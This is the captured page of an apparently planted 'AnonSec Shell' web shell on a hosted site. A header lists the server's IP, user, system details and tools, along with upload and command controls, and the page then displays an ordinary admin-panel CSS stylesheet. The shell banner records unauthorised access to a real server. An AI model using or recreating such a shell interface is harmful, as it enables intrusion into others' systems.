AnonSec Shell
Server IP : 149.202.105.228  /  Your IP : 216.73.216.18
Web Server : Apache
System : Linux webm129.cluster030.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : atfycaf ( 116275)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/atfycaf/www/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/atfycaf/www/admin/stylesheet.css
body {background:#FFF; margin:0 auto; font-family:"Open Sans", Arial, Verdana, Helvetica; font-size:16px; color:#231F20;}

*, *::before, *::after {box-sizing:border-box;}

header, main, footer {float:left; width:100%;}
main {margin:40px 0;}
header {background:#175E32; border-bottom:1px solid #0C391D;}
#header {height:70px; transition-duration:0.5s; position:relative;}
#logo {float:left; width:153px;}
#logo a {width:153px; margin:5px 0; display:block;}
#logo img {width:100%; height:auto;}
#headerRight {float:left;}
#headerRight h1 {float:left; font-size:16px; color:#FFF !important; margin:27px 0 7px; text-align:right;}

#loggedIn {float:left; width:100%; height:20px; line-height:20px; font-size:10px; color:#FFF; text-align:right;}
#loggedIn a {color:#FFF; text-decoration:none; margin-left:50px;}
#loggedIn a:hover {color:#F00; text-decoration:underline;}

.container {margin:0 auto;}
#ssSelectContent .container {width:100% !important;}
.mainContent {float:left; width:100%; display:inline-block;}
.mainContent::before, .mainContent::after {content:" "; display:table;}

nav, #mainContainer {float:left;}
#mainContainer {position:relative;}
.fixed {overflow:hidden;}

.showMenu {background:rgba(0,0,0,0.6); width:70px; height:70px; margin:0; border:0; overflow:visible; transition-duration:0.15s; transition-property:opacity, filter, -webkit-filter; transition-timing-function:linear; cursor:pointer; padding:20px;}
.showMenuBox {width:48px; height:24px; display:inline-block; position:relative;}
.showMenuContent {top:50%; display:block; margin-top:-2px;}
.showMenuContent, .showMenuContent::before, .showMenuContent::after {position:absolute; width:30px; height:2px; background:#FFF; transition-duration:0.15s; transition-property:transform, -webkit-transform; transition-timing-function:ease;}
.showMenuContent::before, .showMenuContent::after {content:""; display:block;}
.showMenuContent::before {top:-6px;}
.showMenuContent::after {bottom:-6px;}
.showMenu:hover .showMenuContent, .showMenu:hover .showMenuContent::before, .showMenu:hover .showMenuContent::after {background:#CCC;}
.menuCollapsed .showMenuContent {bottom:0; top:auto; transition-delay:0.15s; transition-duration:0.15s; transition-timing-function:cubic-bezier(0.55, 0.055, 0.675, 0.19);}
.menuCollapsed .showMenuContent::after {top:-12px; transition:top 0.3s cubic-bezier(0.33333, 0.66667, 0.66667, 1) 0.3s, opacity 0.1s linear 0s;}
.menuCollapsed .showMenuContent::before {transition:top 0.12s cubic-bezier(0.33333, 0.66667, 0.66667, 1) 0.3s, transform 0.15s cubic-bezier(0.55, 0.055, 0.675, 0.19) 0s, -webkit-transform 0.15s cubic-bezier(0.55, 0.055, 0.675, 0.19) 0s;}
.menuCollapsed.is-active .showMenuContent {background:#FFF; transform:translate3d(0px, -10px, 0px) rotate(-45deg); transition-delay:0.32s; transition-timing-function:cubic-bezier(0.215, 0.61, 0.355, 1);}
.menuCollapsed.is-active .showMenuContent::after {background:#FFF; top:0; opacity:0; transition:top 0.3s cubic-bezier(0.33333, 0, 0.66667, 0.33333) 0s, opacity 0.1s linear 0.27s;}
.menuCollapsed.is-active .showMenuContent::before {top:0; background:#FFF; top:0; transform:rotate(-90deg); transition:top 0.12s cubic-bezier(0.33333, 0, 0.66667, 0.33333) 0.18s, transform 0.15s cubic-bezier(0.215, 0.61, 0.355, 1) 0.42s, -webkit-transform 0.15s cubic-bezier(0.215, 0.61, 0.355, 1) 0.42s;}

#adminMenu ul {list-style:none; padding:0; margin:0;}
#adminMenu li {width:100%; position:relative;}
#adminMenu li a {width:100%; color:#333; padding:0 10px; position:relative; text-decoration:none; transform:perspective(0px) translateZ(0px); transition-duration:0.3s; transition-property:color; cursor:pointer;}
#adminMenu li a::before {content:""; background:#175E32; position:absolute; bottom:0; left:0; right:0; top:0; transform:scaleY(0); transform-origin:50% 100% 0; transition-duration:0.3s; transition-property:transform; transition-timing-function:ease-out; z-index:-1;}
#adminMenu li a:hover, #adminMenu li a.selectedPage, #adminMenu li a.menuShow {color:#FFF; text-decoration:none;}
#adminMenu li a:hover::before, #adminMenu li a.selectedPage::before, #adminMenu li a.menuShow::before {transform:scaleY(1) !important;}
.menuDiv {margin-bottom:15px !important;}

#numRvws, #numPmts {float:right; background:#175E32; color:#FFF; text-align:center; font-weight:600; width:20px; height:20px; line-height:20px; margin:5px 0; padding:0; border-radius:50%; -moz-border-radius:50%; -webkit-border-radius:50%;}
.numRvwsZ {display:none;}

h1, h2, h3, h4, h5, h6 {font-size:20px; margin:5px 0 10px;}
.divSelector h3 {float:left; width:100%; clear:both;}

.memLoginContainer {float:left; background:F6F6F6; left:50%; padding:10px; position:relative; border:1px solid #999; border-radius:4px; -moz-border-radius:4px; -webkit-border-radius:4px;}
#memLoginAC {float:left; background:#175E32; width:100%; height:60px; line-height:60px; color:#FFF; font-size:22px; font-weight:bold; text-align:center; display:block; border:1px solid #0C391D; cursor:pointer; border-radius:2px; -moz-border-radius:2px; -webkit-border-radius:2px; transition-duration:0.5s;}
#memLoginAC:hover, .selListEdit input:hover, .submitButton:hover, #searchA:hover, #exportExcel:hover, #shufflePlayers:hover, .swapFixture:hover, .swapFixtureR:hover, #autoGenPass:hover, #clearDate:hover {background:#0C391D; color:#FFF; text-decoration:none;}

.formInput {float:left; width:100%; position:relative; border:1px solid #999; border-top:none; padding:10px 0; margin:0 0 20px;}
.formInput.formError {border:1px solid #BB0003; border-top:none;}
.formInput input, .formInput textarea {width:100%; font-size:20px; color:#666; background:transparent; border:none; padding:0 10px; margin:0;}
.formInput input {height:35px; line-height:35px;}
.formInput textarea {height:150px; font-family:"Open Sans", Arial, Verdana, Helvetica;}
.formLabel {position:absolute; top:0; left:0; right:0; width:100%; height:16px; font-size:12px; display:flex; flex-flow:row nowrap;}
.formLabel::before, .formLabel::after {content: ""; background:#999; display:inline-block; height:1px; top:0; width:7px;} 
.formError .formLabel::before, .formError .formLabel::after {background:#BB0003;}
.formLabel::after {flex:1 1 auto;}
.formLabel {line-height:16px !important;}
.formLabel label {position:relative; top:-8px; padding:0 5px;}

#mainContainer form {float:left; width:100%; clear:both;}
.formContainer, .descTab, .descStTab, #slideSelect, #slideImages, .iframeURL, .stdEntry {float:left; width:100%;}
.descTab, #slideSelect, #customColour, .iframeURL {display:none;}
#enSelectorTab, #htmlSelectorTab, #currentPhotosTab, .editList, #slideDetails {display:block;}
.editList {margin-bottom:40px;}
#slideSelect {margin-top:40px;}

#langSelector, .functionButtons {float:left; width:100%; margin:5px 0 10px;}
#langSelector a, .functionButtons input {float:left; background:#F1F2F3; display:block; color:#333; font-size:14px; text-align:center; margin:0 5px 5px 0; border:none !important; cursor:pointer; transition-duration:0.5s;}
#langSelector a, .functionButtons input {height:30px !important; line-height:30px !important;}
#langSelector a.selectedLang, #langSelector a:hover, #uploadSelector a.selectedUpload, .functionSelected, .functionButtons input:hover {background:#404041 !important; color:#FFF !important; text-decoration:none;}
#langSelector a.selectedLang {font-weight:bold;}
.functionButtons form {display:contents;}

#committeeSortable {width:100%; list-style:none; margin:20px 0; padding:0; position:relative; display:inline-block;}
li.committeeRow {width:100%; background:#FCFCFC; padding:5px 10px 5px 30px; position:relative; border:1px solid #E6E6E6; border-radius:4px; -moz-border-radius:4px; -webkit-border-radius:4px; margin-bottom:10px; display:inline-block;}
li.committeeRow i.fa-grip-horizontal {position:absolute; left:5px; top:50%; margin-top:-12px; cursor:move;}
#committeeSortable .ui-state-highlight {width:100%; height:130px; margin-bottom:10px;}

.pFormRow, .pFormCheckRow, .pFormSeasonalContainer, #geoMapDiv, #pFormDates, .pFormTypes, .productTypes, .hFormRow {float:left; width:100%; margin-bottom:3px;}
.tFormRow {float:left; width:100%; margin-bottom:10px;}
.pFormRowSpaced {margin-bottom:30px;}
.pFormRowHidden, .hiddenInput {display:none;}
.pFormTitle, .pFormSeasonalTitle {float:left; clear:left;}
.pFormSeasonalTitle {width:calc(33.3333% - 2px); padding:0 5px; margin-right:1px;}
.pFormTitle, .pFormSeasonalContainer {height:55px; line-height:55px;}
.pFormSeasonalDisplay {line-height:20px !important; height:auto !important; border-bottom:1px solid #F1F2F3; margin-bottom:15px; padding-bottom:5px;}
.pFormSeasonalTitleRow {font-weight:600;}
.pFormTitle {width:33.3333%; font-size:14px; font-weight:600;}
.pFormInput, .courseDesc, .pForm20, .tFormInput {float:left; background:#FFF; position:relative; margin:0;}
.pFormInput, .courseDesc, .pForm20Inp, .tFormInput {border:1px solid #909090;}
.pFormFilterInput {float:left; position:relative; margin:0;}
.tFormInput {width:95%; border-top:none;}
.pFormInput, .tFormInput, .pFormFilterInput {padding:10px 0;}
.pFormInput {padding:10px 0;}
.pFormCheck {float:left; position:relative; padding:10px 0;}
.pFormPhoto {float:left; background:#FFF; padding:5px; border:1px solid #909090;}

.courseDesc {min-width:66.6667%; min-height:500px; padding:10px;}
span.pFormTitleS  {float:left; width:100%; line-height:normal; font-size:12px; font-weight:normal; font-style:italic;}

.pFormInput input, .seasonInput input, .pForm20 input, .tFormInput input, input.galleryPhotoTitle {height:35px; line-height:35px; font-size:20px; color:#909090; background:transparent; border:none; padding:0 10px; margin:0;}
.formInput input:focus, .pFormInput input:focus, .pFormInput textarea:focus, .pForm20 input:focus, .tFormInput input:focus, #roundDisplay input:focus, input.galleryPhotoTitle:focus, .tinyTxtEditor:focus, .aSearchInput input:focus {outline:none !important;}
.pFormInput input, .tFormInput input {width:100%;}
.pFormInputT input {width:calc(100% - 30px);}
.pFormInputX input {width:calc(100% - 50px);}
#providerID-button, #subLength-button, #subStatus-button {width:100%;}
.pFormSelect, .pFormSlide {float:left; position:relative; padding:10px 0;}
.tFormSelect {float:left; width:95%; position:relative; padding:10px 0;}
.pFormSlide {padding-top:15px;}
.pFormTAInput {width:100% !important;}
.catDesc, .productIntro, .productDesc, .thumbSelectC {float:left; width:100%; padding:0 10px; margin:0;}
.productIntro {min-height:200px;}
.catDesc, .productDesc {min-height:500px;}
.percentAdd, .pFormFilter {float:left;}
.pFormFilter {padding:3px 5px; position:relative;}
.pFormFilter input[type="checkbox"]:checked+label { font-weight: bold; }
.thumbSelect {position:relative; cursor:pointer;}
.thumbSelect img {float:left;}
.thumbSelected {border:2px solid #B0222A;}
.pFormFilterInput input {margin:10px 0;}

#aGroupSearch {float:left; width:100%; display:flex; flex-direction:row; align-content:center; justify-content:center; border:1px solid #E1E1E1; padding:5px 10px; margin-bottom:20px; border-radius:10px; -moz-border-radius:10px; -webkit-border-radius:10px; position:relative;}
.aGroupTitle, .aGroupSelect, .aGroupInput {height:38px; line-height:38px; margin:4px 10px 5px;}

.pFormTxtRow {position:relative;}
.tinyTxtEditor {float:left; background:#FFF; min-height:500px; padding:0 10px; border:1px solid #CCC;}
#newCatRow {display:none;}

input[type='number'] {-moz-appearance:textfield;}
input::-webkit-outer-spin-button, input::-webkit-inner-spin-button {-webkit-appearance:none;}

.pFormFilter label {width:calc(100% - 30px); margin-left:10px; cursor:pointer;}
.langCheck input, .langCheck label, .pFormFilter input, .pFormFilter label {float:left;}
.langCheck label {margin-right:10px; cursor:pointer;}
#useRealSites {float:left; width:100%; margin:25px 0;}
.languageHolder {float:left; width:24px; height:24px; margin-left:10px; position:relative; overflow:hidden;}
.languageHolder img {position:absolute; top:0;}
#enLang {left:0;}
#esLang {left:-25px;}
#deLang {left:-50px;}
#frLang {left:-75px;}
#nlLang {left:-100px;}
#ruLang {left:-125px;}

.staticDiv {float:left; background:#F1F2F3; width:100%; margin-bottom:15px; display:none;}
h2 span, a.hideConfig {font-size:14px; font-weight:normal !important; font-style:italic; cursor:pointer;}
h2 span:hover, a.hideConfig:hover {color:#404041; text-decoration:underline;}
a.hideConfig {float:right; color:#404041; margin:10px 10px 10px 0;}
textarea.globalVarText {width:100%; height:100px;}
.loadingWaiting {width:16px; height:16px;}
.loadingWaiting, .completeMsg {display:none;}

.featuresContent {display:none;}

.inputAdd {float:left; line-height:55px; margin-left:5px; font-weight:600;}

.pFormRow:nth-child(even), .pFormFilter:nth-child(odd), .pFormRowRed, .productRow:nth-child(odd), tr.oddRow {background:rgba(35, 31, 32, 0.2);}
.pFormEditTitle {float:left; width:73%; font-weight:600; margin-right:2%;}
.pFormEditButtons {float:left; width:25%; text-align:center;}
.pFormEditButtons button {float:left; width:100% !important; left:unset !important; clear:both; margin:10px 0 !important;}

.pFormLabel, .tFormLabel {position:absolute; top:0; left:0; right:0; width:100%; height:16px; line-height:16px !important; font-size:12px; display:flex; flex-flow:row nowrap;}
.pFormLabel::before, .pFormLabel::after, .tFormLabel::before, .tFormLabel::after {content: ""; background:#909090; display:inline-block; height:1px; top:0; width:7px;} 
.pFormSelect .pFormLabel::before, .pFormSelect .pFormLabel::after, .tFormSelect .pFormLabel::before, .tFormSelect .pFormLabel::after {background:#C5C5C5;}
.pFormLabel::after, .tFormLabel::after {flex:1 1 auto;}
.pFormLabel label, .tFormLabel label {position:relative; top:-8px; padding:0 5px;}
.pFormInput textarea {width:100%; font-size:20px; color:#909090; background:transparent; border:none; padding:0 10px; margin:0;}
.pFormInput textarea {min-height:100px; line-height:30px; font-family:"Open Sans", Arial, Verdana, Helvetica; font-weight:600;}

#addRules {float:left; width:100%; display:none;}

label {cursor:pointer;}

.divSelector {float:left; width:100%; margin-bottom:15px;}
.divSelector a, .pagesBack {background:#F1F2F3; height:30px; line-height:30px; text-align:center; color:#333; font-size:12px; padding:5px 3px; border:1px solid #CCC; border-radius:6px; -moz-border-radius:6px; -webkit-border-radius:6px; cursor:pointer; position:relative; box-sizing:content-box;}
.divSelector a {float:left; margin:0 10px 10px 0;}
.pagesBack {float:right; width:166px;}
#oBG {background:#404041 !important; color:#FFF !important;}
#gBG {background:#F0F2F0 !important;}
.moveDivs {clear:both; background:#1D99D3 !important; color:#FFF !important;}
.divSelector a.buttonRight {margin:0 0 10px !important;}
.divSelector a.selected, .divSelector a.selected:hover {background:#404041 !important; color:#FFF; text-decoration:none;}
.divSelector a:hover, .pagesBack:hover {background:#666 !important; color:#FFF; text-decoration:none;}
.divSelector a.disabledInsert {background:#FFF !important; color:#CCC !important;}
.divSelector a span, .portlet-header span {position:absolute; background:url(images/infoButtonLarge.png) 5px center no-repeat #F1F2F3; width:300px; min-height:41px; font-size:14px; font-weight:normal !important; color:#333 !important; text-align:left; line-height:18px; padding:5px 5px 5px 50px; border:1px solid #CCC; display:none; z-index:99; box-shadow: 1px 1px 2px rgba(0,0,0,.5); -webkit-box-shadow: 1px 1px 2px rgba(0,0,0,.5); -moz-box-shadow: 1px 1px 2px rgba(0,0,0,.5); !important; z-index:101 !important;}
.divSelector a span {left:150px; top:-80px;}
.portlet-header span {left:50px; top:0;}
.pageCanvas {float:left; background:#FFF; min-height:400px; padding-bottom:200px; border:1px solid #CCC; overflow-x:hidden;}
.pageCanvas .selectableDiv {float:left; margin-bottom:25px; position:relative;}
.editableArea {float:left; width:100%; margin:0; display:table;}
.sortSelectDiv.handle, .sortSelectDiv.portlet-header {background:#888 !important; color:#FFF;}
.handle, .portlet-header {position:absolute; top:0; text-align:center; height:20px; color:#FFF; text-align:center; line-height:20px; font-size:14px; display:none;}
.handle {left:20px; width:1150px; cursor:move; z-index:100;}
.sortSelectDiv {background:#F1F2F3 !important;}
.portlet-placeholder {float:left; background:#F1F2F3; width:1164px; border:3px dotted #F00; margin:0 0 25px; height:200px; z-index:80;}
.portlet-header {left:0; width:20px; cursor:pointer; box-sizing:content-box; z-index:101;}

.infoButton {width:14px; height:14px; margin-left:10px; cursor:pointer; position:relative;}
.infoButton img {vertical-align:text-top;}
.infoButton span, .divSelector a span, .portlet-header span, .filterList {position:absolute; background:url(images/infoButtonLarge.png) 5px center no-repeat rgba(241,242,243,0.9); min-height:41px; font-size:14px; font-weight:normal !important; padding:5px 5px 5px 50px; border:1px solid #CCC; display:none; z-index:99; box-shadow: 1px 1px 2px rgba(0,0,0,.5); -webkit-box-shadow: 1px 1px 2px rgba(0,0,0,.5); -moz-box-shadow: 1px 1px 2px rgba(0,0,0,.5); line-height:normal !important;}
.infoBox {float:left; width:100%; background:url(images/infoButtonLarge.png) 5px center no-repeat #F1F2F3; margin-bottom:15px; padding:5px 5px 5px 60px; border:1px solid #CCC; border-radius:2px; -moz-border-radius:2px; -webkit-border-radius:2px;}
.filterList {width:200px;}

#ssSelectBG, #previewBG, #orderConfirmBG {position:fixed; background:rgba(255,255,255,0.8); top:0; left:0; width:100%; height:100%; display:none; z-index:99;}
#ssSelectClose, #previewClose {position:absolute; top:50%; width:200px; height:40px; line-height:40px; display:block; margin-top:-300px; color:#333; overflow:hidden; cursor:pointer; font-size:30px; font-weight:bold; text-align:right;}
#ssSelectClose:hover, #previewClose:hover {color:#4393A1; text-decoration:none; transition-duration:0.5s;}
#ssSelectContent, #previewContent, #orderConfirmContent {position:absolute; background:#FFF; top:50%; color:#231F20; display:block; overflow-y:auto; border:1px solid #E1E3E1; padding:10px; border-radius:12px; -moz-border-radius:12px; -webkit-border-radius:12px; webkit-box-shadow:4px 4px 5px 0px rgba(51, 51, 51, 0.6); -moz-box-shadow:4px 4px 5px 0px rgba(51, 51, 51, 0.6); box-shadow:4px 4px 5px 0px rgba(51, 51, 51, 0.6);}

#ssSelectContent .mainContent {position:relative; overflow:hidden;}
#ssSelectContent .textRow {margin:40px 0 0;}
#ssSelectContent h2 {position:relative; z-index:1;}
#bgPreviewImg {max-width:100%; z-index:0;}
#bgPreviewImg2 {max-width:100%; z-index:0;}
#bgPreviewImg2.bgLeft {margin-left:-35%;}
#bgPreviewImg2.bgRight {right:0; margin-right:-35%;}

#templatePreview {float:left; width:100%;}
#templatePreview .pageIntro {font-size:1rem; color:rgba(255, 255, 255, 0.5); font-weight:600; max-width:24em; text-transform:uppercase;}
#templatePreview h1 {background:linear-gradient(135deg, hsla(0,0%,100%,0) 56%, #ffcaba 98%), linear-gradient(25deg, #f5d1ff 23%, #fff 60%); -webkit-background-clip:text; -webkit-text-fill-color:transparent; max-width:7em; text-align:center; font-size:calc(1.40113rem + 3.74417vw); font-weight:800; margin:20px 0 0; line-height:1.05;}
#templatePreview.introAlt h1 {background:linear-gradient(135deg, rgba(255, 255, 255, 0.5) 56%, rgba(255, 255, 255, 0.8) 98%), linear-gradient(25deg, rgba(255, 255, 255, 0.6) 23%, rgba(255, 255, 255, 0.8) 60%); -webkit-background-clip:text; width:80%; max-width:80% !important; margin-bottom:60px;}
#templatePreview.textBox p {max-width:80%; text-align:center; font-size:20px;}
#templatePreview.textBox {min-height:0px !important;}
#templatePreview p {color:rgba(255, 255, 255, 0.9); text-shadow:1px 1px 1px rgba(0, 0, 0, 1); transition-duration:0.5s;}
#templatePreview .boxContent p {width:100% !important; max-width:100% !important; text-align:left;}
#templatePreview.textBox.bg6 {padding-top:65px;}

.mce-tinymce {z-index:98 !important;}

#htmlCancel, #htmlInsert, #html2Insert, #htmlNext, #html2Next, #htmlInsertEx {height:30px; line-height:30px; text-align:center; font-size:16px; font-weight:bold; padding:5px 3px; margin:10px 10px 10px 0; border:1px solid #CCC; border-radius:6px; -moz-border-radius:6px; -webkit-border-radius:6px; cursor:pointer; position:relative; box-sizing:content-box; transition-duration:0.5s;}
#htmlInsert, #html2Insert, #htmlNext, #html2Next, #htmlInsertEx {background:#175E32; color:#FFF;}
#htmlCancel {background:#F1F2F3; color:#231F20;}
#htmlCancel, #htmlInsert, #htmlNext, #htmlInsertEx {width:166px;}
#html2Insert, #html2Next {width:220px;}
#htmlCancel {float:left;}
#htmlInsert, #html2Insert, #htmlNext, #html2Next, #htmlInsertEx {float:right;}
#htmlInsert:hover, #html2Insert:hover, #htmlNext:hover, #html2Next:hover, #htmlInsertEx:hover {background:#F1F2F3; color:#231F20; text-decoration:none; transition-duration:0.5s;}
#htmlCancel:hover {background:#175E32; color:#FFF; border-color:#000; text-decoration:none; transition-duration:0.5s;}

.roundedOne {position:absolute; bottom:10px; right:10px; width:40px; height:40px;}
.roundedOne input {display:none;}
.circPath, .tickPath {fill:none; stroke:#404041; stroke-width:3; stroke-linejoin:round; stroke-miterlimit:10; transition-duration:0.5s;}
.selPath {stroke:#26CA28; transition-duration:0.5s;}
.photoSel {float:left; width:150px; height:113px; overflow:hidden; position:relative; margin:0 10px 10px 0;}
.photoSel img {position:absolute; top:-9999px; bottom:-9999px; left:-9999px; right:-9999px; margin:auto; cursor:pointer;}

#bgInsert, #ssInsert {float:right; background:#175E32; width:166px; height:30px; line-height:30px; text-align:center; color:#FFF; font-size:16px; font-weight:bold; padding:5px 3px; margin:10px 10px 10px 0; border:1px solid #0C391D; border-radius:6px; -moz-border-radius:6px; -webkit-border-radius:6px; cursor:pointer; position:relative; box-sizing:content-box; transition-duration:0.5s;}
#bgInsert {clear:both; margin:30px 10px 10px;}
#bgInsert:hover, #ssInsert:hover {color:#F1F2F3; color:#333; text-decoration:none; transition-duration:0.5s;}

.selListEdit input, .submitButton, .deleteButton, #shufflePlayers {background:#175E32; height:40px; line-height:36px; color:#FFF; font-family:"Open Sans", Arial, Verdana, Helvetica; font-weight:600; padding:0 10px; border:1px solid #0C391D; border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px; transition-duration:0.5s; cursor:pointer;}
.selListEdit input {margin:10px 0 5px;}
.submitButton, .deleteButton {float:left; width:200px; left:50%; text-align:center; margin:10px 0 10px -100px; position:relative; display:block;}
.submitButton:disabled {opacity:0.4; cursor:default !important;}
.deleteButton, .deleteNote, .removeOption {background:#B0222A !important; color:#FFF !important; border:1px solid #862025 !important;}
.deleteButton:hover, .deleteNote:hover, .removeOption:hover {background:#862025 !important; color:#FFF !important;}

#competitorDisplay, #teamsList {max-width:100%; overflow-x:auto; padding:30px 0;}
#roundSelect {float:left; width:100%; margin-bottom:15px; position:relative;}
#roundSelect a {float:left; background:#175E32; color:#FFF; padding:0 10px; line-height:24px; font-weight:600; margin-right:5px; border:1px solid #175E32; border-radius:4px 4px 0 0; -moz-border-radius:4px 4px 0 0; -webkit-border-radius:4px 4px 0 0; cursor:pointer; border-bottom:none;}
#roundSelect a:hover {text-decoration:none;}
#roundSelect::after {content:" "; background:#175E32; position:absolute; bottom:0; left:0; width:100%; height:1px; z-index:-1;}
.selectedRound {background:#FFF !important; color:#175E32 !important; border:1px solid #175E32 !important; border-bottom:none !important;}
#roundSelect a:last-child {margin-right:0;}
#roundDisplay, .roundDisplay {float:left; min-width:100%;}
#roundDisplay, .fixtureDisplay, .autoFixtures, .scoreFixtures {position:relative;}
.fixtureDisplay {margin-bottom:40px;}
.roundDisplay, .playersSet .scoreInput, .playersSet .fixtureRinkPts, .playersSet .fixtureScore {display:none;}
.selectedRoundDisplay {display:inline-block !important;}
.playersListC, .fixturesListC {float:left;}
.playersSet, .fixtureSet, .fixtureSetNE, .scoreSet, .leagueTeams {float:left; width:100%; list-style:none; padding:0; min-height:40px;}
.listTitle, .playersListC {width:33%; margin:0; clear:left;}
.roundDisplay input, input.playerName, input.scoreInput, .fixtureDateTime input {float:left; padding:5px 3px;}
.playersSet input {width:100%;}
.playersSet li, .scoreSet li, .fixtureSet .ui-sortable-handle, .fixtureSetNE .ui-sortable-handle, .leagueTeams li {float:left; background:#FAFAFA; width:100%; margin-bottom:5px; border:1px solid #F1F2F3; border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px; position:relative;}
.playersSet li, .fixtureSet .ui-sortable-handle, .fixtureSetNE .ui-sortable-handle {padding:5px 5px 5px 25px;}
.homeMatch {margin:35px 0 5px 0 !important;}
.matchDateInp {position:absolute; top:-35px; right:0;}
.matchVenueInp {position:absolute; top:-40px; left:0;}
.matchVenueNInp {float:right;}
.fixtureSet input, .fixtureSetNE input {width:calc(100% - 100px);}
.playersSet .fixtureDateTime, .fixtureSet li:nth-child(2n) .fixtureDateTime, .fixtureSetNE li:nth-child(2n) .fixtureDateTime {display:none;}
.fixtureDateTime {position:absolute; bottom:calc(100% + 5px); right:0; width:100%;}
.fixtureDateTime input {float:right; width:calc(100% - 50px) !important; font-family:"Open Sans", Arial, Verdana, Helvetica;}
.fixtureDateTime label {float:left; margin-right:5px; line-height:28px;}
.fixtureDisplay .fixtureSet input {width:100% !important;}
.leagueTeams li {width:calc(100% - 20px); padding:5px 10px;}
.leagueTeams input {width:100%;}
.fixtureSet .scoreInput, .fixtureSet .scoreInputPre, .fixtureSetNE .scoreInput, .fixtureSetNE .scoreInputPre {width:90px; margin-left:10px;}
.playersSet li i, .fixtureSet li i {position:absolute; top:5px; left:3px; line-height:30px; display:block; cursor:move;}
.listTitleW, .fixturesListC, .listTitleAG {width:65%; margin:0 0 0 2%;}
.listTitleW {clear:none !important;}
#round0Display .listTitleW, #round0Display .fixturesListC, #round1Display .listTitleW, #round1Display .fixturesListC {width:100% !important; margin:0 !important;}
.fixtureSet li, .fixtureSetNE li {float:left; width:100%; margin-bottom:3px;}
.fixtureSet li:nth-child(2n), .fixtureSetNE li:nth-child(2n), .scoreSet li:nth-child(2n) {margin-bottom:40px;}
.fixtureSet li.ui-sortable-handle:nth-child(odd)::after, .fixtureSetNE li.ui-sortable-handle:nth-child(odd)::after {content:"Vs"; position:absolute; top:34px; left:50%; font-size:16px; font-weight:600; margin-left:-10px; z-index:1;}
.fixtureSet .ui-sortable-placeholder, .fixtureSetNE .ui-sortable-placeholder {height:42px; background:#FAFAFA; border:1px solid #F1F2F3; display:block !important; border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px;}
#roundDisplay .ui-sortable-placeholder.ui-state-highlight {background:#FFFA90 !important; height:42px !important; border:1px solid #DAD55E !important;}
.listTitle {float:left; font-weight:600; margin-top:10px !important; margin-bottom:15px !important;}
.roundDateInp {position:absolute; top:0; right:0;}
.roundDateInp input, .matchDateInp input, .matchVenueInp input {float:none; width:200px;}
.groupNameInp {float:left; width:100%; height:30px; line-height:30px;}
.groupNameInp input {float:right; width:calc(100% - 160px);}
#shufflePlayers {float:right; margin:10px 0;}
.swapFixture, .swapFixtureR {float:left; background:#175E32; width:90px; height:30px; line-height:14px; font-size:12px; text-align:center; color:#FFF; font-family:"Open Sans", Arial, Verdana, Helvetica; font-weight:600; padding:0 10px; margin-left:10px; border:1px solid #0C391D; border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px; transition-duration:0.5s; cursor:pointer;}
.teamName {width:60% !important;}
.playersSet .teamName {width:100% !important;}
.fixtureRinkPts, .fixtureScore, .kFixtureScore {width:18% !important; margin-left:2%;}

.knockout64, .knockout32, .knockout16, .knockout8, .knockout4, .knockoutPre64, .knockoutPre32, .knockoutPre16, .knockoutPre8, .knockoutPre4 {display:block;}
.knockout64, .knockoutPre32 {width:1540px;}
.knockout32, .knockoutPre16 {width:1280px;}
.knockout16, .knockoutPre8 {width:1020px;}
.knockout8, .knockoutPre4 {width:760px;}
.knockout4 {width:510px;}
.knockoutPre64 {width:1800px;}
.knockoutTable thead th {padding-bottom:40px;}
td.knockoutTD {width:250px; background:#FDFDFD; font-size:14px; text-align:left; border:1px solid #F1F2F3; padding:3px; margin-bottom:15px; border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px; position:relative;}
td.knockoutTD input.playerName {width:73%;}
td.knockoutTD input.scoreInput {width:calc(27% - 8px); margin-left:8px;}
td.knockoutTD input.playerName:first-of-type {margin-bottom:5px;}
td.knockoutRndConn {width:22px; position:relative;}
td.knockoutRndConn span {position:absolute; background:#F0F0F0;}
.hConn {width:calc(50% + 0.5px); height:1px;}
.vConn {width:1px; height:calc(100% - 49px); top:24.5px; left:calc(50% + 0.5px);}
.firstM, .secondM, .preM {left:0;}
.firstM {top:24.5px;}
.secondM {bottom:24.5px;}
.nextR, .preM {top:calc(50% - 0.5px);}
.nextR {left:calc(50% + 1.5px);}
.preM {width:100%; height:1px;}

/* <----- NESTABLE -----> */

#menuTitles {float:left; width:100%; margin:20px 0;}
#menuTitles h2, #menuTitles h3 {float:left; width:40%;}
#menuTitles h2 {margin-right:20%;}
#menuSetup {float:left; width:100%;}
.dd { position: relative; display: block; margin: 0; padding: 0; max-width: 600px; list-style: none; font-size: 13px; line-height: 20px; }
.dd { float: left; width: 48%; }
#menuSetup {float:left; width:100%;}
.dd-list, #dd-Home, #dd-Contact, #dd-Suites { display: block; position: relative; margin:0; padding: 0; list-style: none; }
#dd-Home, #dd-Suites, #dd-Contact {float:left; clear:left; padding:5px 10px !important; cursor:not-allowed !important;}
#dd-Suites {margin:5px 0 0 !important;}
#unusedCats {float:right;}

.ddTitle {float:left; font-size:16px; font-weight:bold;}
.dd-list .dd-list { padding-left: 30px; }
.dd-collapsed .dd-list { display: none; }
.dd-item, .dd-empty, .dd-placeholder { display: block; position: relative; margin: 0; padding: 0; min-height: 20px; font-size: 13px; line-height: 20px; }
.dd-handle { display: block; height: 30px; margin: 5px 0; padding: 5px 10px; color: #333; text-decoration: none; font-weight: bold; border: 1px solid #ccc; background: #fafafa; background: -webkit-linear-gradient(top, #fafafa 0%, #eee 100%); background:-moz-linear-gradient(top, #fafafa 0%, #eee 100%); background:linear-gradient(top, #fafafa 0%, #eee 100%);-webkit-border-radius: 3px; border-radius: 3px; box-sizing: border-box; -moz-box-sizing: border-box;}
.dd-handle:hover { color: #2ea8e5; background: #fff; cursor:move; }
